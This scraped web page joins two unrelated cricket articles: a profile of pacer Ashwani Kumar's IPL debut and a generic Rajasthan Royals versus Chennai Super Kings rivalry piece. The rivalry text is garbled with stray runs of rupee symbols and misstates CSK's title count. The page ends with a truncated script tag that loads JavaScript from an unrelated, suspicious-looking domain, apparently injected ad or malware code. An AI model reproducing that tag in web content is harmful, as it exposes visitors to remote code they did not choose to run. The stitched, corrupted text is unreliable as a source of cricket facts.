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Ashwani Kumar - the fiery underdog who refused to give up
Ashwani Kumar - the fiery underdog who refused to give up
Jhanjeri, a quiet and unremarkable pastoral outpost in Punjab's Mohali district, is little known - and not much beyond a few educational institutes under the Chandigarh Group of Colleges. While students from rural and urban Punjab end up there to study, the village has yet to produce a name of repute. That wait may have ended. A certain rookie called Ashwani Kumar from that village has announced his arrival on the big stage.
"The night will be remembered for a name called Ashwani Kumar," Ravi Shastri said on air while calling the Monday's IPL game for the official broadcaster. "Everyone back in the village will be watching me play. I got my opportunity today, and I'm very happy," the young left-arm pacer said after a dream IPL debut on Monday night. His four for 24 in Mumbai Indians win against Kolkata Knight Riders at the Wankhede is the best by an Indian in the IPL - worthy of the Player of the Match award too.
His victims for the night included Ajinkya Rahane, Rinku Singh, Manish Pandey, and Andre Russell - two of whom were clean-bowled after being beaten for pace. Ramandeep Singh, KKR's second-highest scorer (22) and a fellow product of Ashwani's academy, had hoped to face his state and academy mate. However, the debutant wasn't needed to complete his full four-over quota - KKR were bundled out in just 16.2 overs (for 116). Both Ramandeep and Ashwani train under coach Vajinder Singh at the Launching Pad Academy in Sector 97, Chandigarh.
"Very talented and hardworking Ladka. He is a prime example of the IPL providing opportunities to young players, and they making the most of it. We come from the same academy, and I was hoping to face him. He has a long way to go," said Ramandeep about his state and academy mate.
Before his IPL debut, Ashwani had played just four senior T20 matches, along with two Ranji Trophy and four List A games. He was discovered by Mumbai Indians' scouts, who have a well-earned reputation for identifying top talent. Long before Jasprit Bumrah became Jasprit Bumrah, these very scouts had spotted him. Another standout find is Ashwani's current teammate, Vignesh Puthur, a highly skilled spinner who has already left an impression in IPL 18.
"It's cool that he got an opportunity and the group's really chuffed that he managed to bring out that performance today. We played a few warm-up games. I kept to him and batted against him. He's a really nice bowler. He can swing the new ball and he executed his plan really, really well," said teammate and MI wicket keeper Ryan Rickelton. "I could see from behind the stumps - he obviously executed towards a certain pattern. That was quite distinct to notice from behind the stumps."
Comes from a humble background
Those who know Ashwani describe him as a player from a truly humble background. According to his coaches, the walls of his house aren't even properly painted. But he has an immense work ethic and determination. "He wouldn't be bothered by modern workload management practices, where bowlers are restricted to a set number of deliveries in the nets. He just wants to keep working hard.
"I see in him a relentless desire to bowl as much as possible. He's never satisfied with just three or four overs in the nets - he pushes himself to bowl 13 to 15 overs a day. There have been times when we've had to step in and stop him from overworking," his academy coach, Vajinder Singh, told Cricbuzz.
It was a view that was also shared by Avishkar Salvi, a former India and Mumbai pacer who coached the Punjab team for a couple of years before joining the Indian women's team last year. "I knew him as a player from a humble background. Before I joined the Punjab team, I was told he would regularly come and bowl at the State team nets for hours - day after day, week after week, every year. Hats off to the Punjab Cricket Association for recognizing and nurturing his talent. He has truly risen through the ranks."
Ashwani made his Ranji Trophy debut in December 2019 when he was just about 17. It was an uneventful debut - one wicket in each innings against Rajasthan - and he has managed only one more first class game since.
"He couldn't break into the Punjab team, or keep place in the side as the state already had bowlers like Siddharth (Kaul), Baltej (Singh), and Arshdeep (sing). This meant opportunities were hard to come by, but he never gave up. He consistently bowls between 130-140 kmph which is quite good. He possesses the natural left-armer's angle that moves away, but he has also honed his line and length while adding a few extra yards to his pace, which is now quite sharp. He has clearly put in the work on his fitness - an essential factor for any pace bowler," Salvi explained.
When Vajinder first met Ashwani a few years ago, he was raw, lacking in pace, and had limited abilities. They focused on improving his fitness and refining his skills. "When I first saw him, he was a hardworking lad but struggled with his line and length. His deliveries would only stay true to the line. I explained to him that he needed to develop the ability to bring the ball back into right-handers. He was eager to learn that skill and asked me to train him accordingly. We started with light drills and he worked tirelessly for days until he mastered it," Vajinder recalled.
"He used to bowl to Ramandeep, and I would ask him if he could get the ball to nip back into him. Initially, Ramandeep would say it stayed straight with no inward movement. But over time, he noticed the ball was starting to come back in. I'm happy to see him execute exactly what we worked on in the IPL," Vajinder said. He also believes Russell's wicket was a perfect reflection of their practice sessions.
Rickelton also thinks that Ashwani is very nippy and possesses exemplary skills. "He's got some great skills, so (I'm) looking forward to seeing how he goes in the rest of the competition. He's a lot quicker than people recognise at first. That's a great attribute and he can swing the new ball. We've got two specialist swing bowlers (Trent Boult and Deepak Chahar) with the new ball as well, but to have that second plan without that swing factor was really impressive.
"Like I say, he's a lot quicker than you think, he rushes you a little bit lower as well. He's a great addition to the group. I'm looking forward to seeing if he gets an opportunity with the new ball to see other sets of skills come through. He's a nice find for Mumbai Indians and we're looking forward to seeing how he goes."
So where can he go from here? Salvi says he sees the ability to go the distance if he manages to be consistent.
Rajasthan Royals vs Chennai Super Kings: A Rivalry That Defines IPL Thrills
Rajasthan Royals vs Chennai Super Kings: A Rivalry That Defines IPL Thrills
The Indian Premier League (IPL) has become a spectacle for cricket fans across the world, filled with high-octane matches, explosive performances, and unforgettable moments. Among the many exciting rivalries in IPL history, one that stands out is the intense battle between the Rajasthan Royals (RR) and Chennai Super Kings (CSK). These two franchises have not only produced some of the most exciting matches but also brought a blend of youthful energy and seasoned expertise to the IPL. Let's dive deeper into what makes the Rajasthan Royals vs Chennai Super Kings clash so compelling.
A Glimpse at the Teams
Rajasthan Royals (RR): A Legacy of Youthful Energy
Founded in 2008, Rajasthan Royals were the winners of the very first IPL season. Under the captaincy of the legendary Shane Warne, the Royals defied the odds and took home the trophy, forever embedding their name in IPL history. Over the years, RR has maintained its philosophy of mixing youth with experience. Known for backing young talent, Rajasthan has produced some exceptional players, such as Sanju Samson, Yashasvi Jaiswal, and the explosive Jos Buttler. ₹₹₹₹₹₹
RR's success has often been built on their ability to unearth unknown talents and provide them with a platform to showcase their skills. In recent seasons, the Royals have been contenders, often surprising everyone with their ability to win tight encounters. Their unpredictable and attacking approach makes them an exciting team to watch, especially when they face off against the giants of IPL like CSK. ₹₹₹₹₹₹
Chennai Super Kings (CSK): The Dynasty of Consistency
In contrast to RR's youthful energy, Chennai Super Kings is a team known for its consistency, calm under pressure, and incredible leadership from MS Dhoni. Since their inception in 2008, CSK has been a dominant force in the IPL, winning the coveted trophy four times (2010, 2011, 2018, and 2021). CSK’s success lies not only in its experienced core but also in its ability to bring together a group of match-winners who can rise to the occasion. ₹₹₹₹₹₹
From the explosive opening batsman Ruturaj Gaikwad to the all-round brilliance of Ravindra Jadeja, and the experience of Moeen Ali, CSK has always been a well-balanced side with a winning mentality. They also have the added advantage of having one of the greatest captains in the history of T20 cricket, MS Dhoni, whose leadership and strategic acumen are a big reason why CSK remains one of the most successful teams in IPL history. ₹₹₹₹₹
The IPL Encounter: A Clash of Styles
What makes the Rajasthan Royals vs Chennai Super Kings clash so intriguing is the contrasting styles of play. On one hand, Rajasthan is all about aggressive, fearless cricket, driven by youth and flair. On the other hand, CSK is the epitome of calculated, composed cricket where experience and strategy rule the day. ₹₹₹₹₹
Whenever RR and CSK meet, it’s not just a battle for points in the standings but also a contest of different philosophies and game plans. The young RR squad, with their high-impact batting and sharp bowling, often faces off against the seasoned CSK team, who rely on a more strategic approach, maintaining control through steady partnerships and wickets at crucial moments. ₹₹₹₹₹₹
Key Players to Watch
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Jos Buttler (RR): One of the best T20 batters in the world, Buttler’s explosive hitting is a major weapon for RR. His ability to take apart any bowling attack makes him a key player in this encounter.
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Sanju Samson (RR): The captain of Rajasthan Royals, Samson has the ability to change the course of the game with his stroke play. He will be critical to RR’s chances against CSK.
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MS Dhoni (CSK): The iconic leader of CSK, Dhoni's tactical acumen and calmness in pressure situations make him a force to be reckoned with. He’s also a master finisher, often guiding his team home in tight situations. ₹₹₹₹
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Ravindra Jadeja (CSK): Jadeja’s all-round skills, especially his fielding, bowling, and batting in the middle order, provide CSK with balance and depth.
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Ruturaj Gaikwad (CSK): The young opener has been in superb form for CSK, often laying the foundation for a big total at the top of the order.
The Rivalry: A Battle of History
Over the years, the Rajasthan Royals vs Chennai Super Kings matchups have given us several memorable moments. Whether it’s a nail-biting finish, a stunning individual performance, or a tactical masterclass, these teams have consistently delivered high-quality cricket.₹₹₹₹₹
One of the most memorable RR vs CSK moments came in 2010, when CSK defeated RR in the IPL semifinals to eventually win the title. The rivalry reached new heights in 2021 when CSK beat RR in a high-scoring thriller in Dubai, showcasing why CSK is a team that never backs down, regardless of the opponent. ₹₹₹₹₹
Despite the years of dominance by CSK, Rajasthan Royals have always been a team capable of springing surprises, and their encounters with CSK have always been filled with tension, drama, and excitement. The unpredictability of RR and the reliability of CSK make this rivalry one that never disappoints.
What Makes This Rivalry Special?
The Rajasthan Royals vs Chennai Super Kings clash is more than just a game. It represents the evolution of IPL itself — from a one-off tournament to a global sporting phenomenon. It’s about contrasting leadership styles, the thrill of youth going head-to-head with experience, and, above all, the passion that cricket fans bring to every game.
As both teams continue to evolve, the IPL 2025 season promises more such clashes, with RR looking to prove their worth and CSK aiming to cement their legacy. Whether you’re a die-hard fan of Rajasthan Royals or Chennai Super Kings, one thing is certain — the RR vs CSK match is always a treat for cricket fans everywhere.
Conclusion
The Rajasthan Royals and Chennai Super Kings have given us some of the most exciting and memorable matches in IPL history. The rivalry between them is built on contrasts — youth versus experience, aggression versus strategy, and unpredictability versus consistency. As the IPL 2025 season progresses, keep an eye on this electrifying contest, as both teams aim to dominate the IPL and leave their mark on the tournament’s legacy.
So, the next time RR and CSK take the field, get ready for a showdown that promises thrilling cricket, unforgettable moments, and fierce competition. Who will reign supreme this time around? Only time will tell!
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Ashwani Kumar - the fiery underdog who refused to give up <script type='text/javascript' src='//sunkendifferextreme.com/d7/...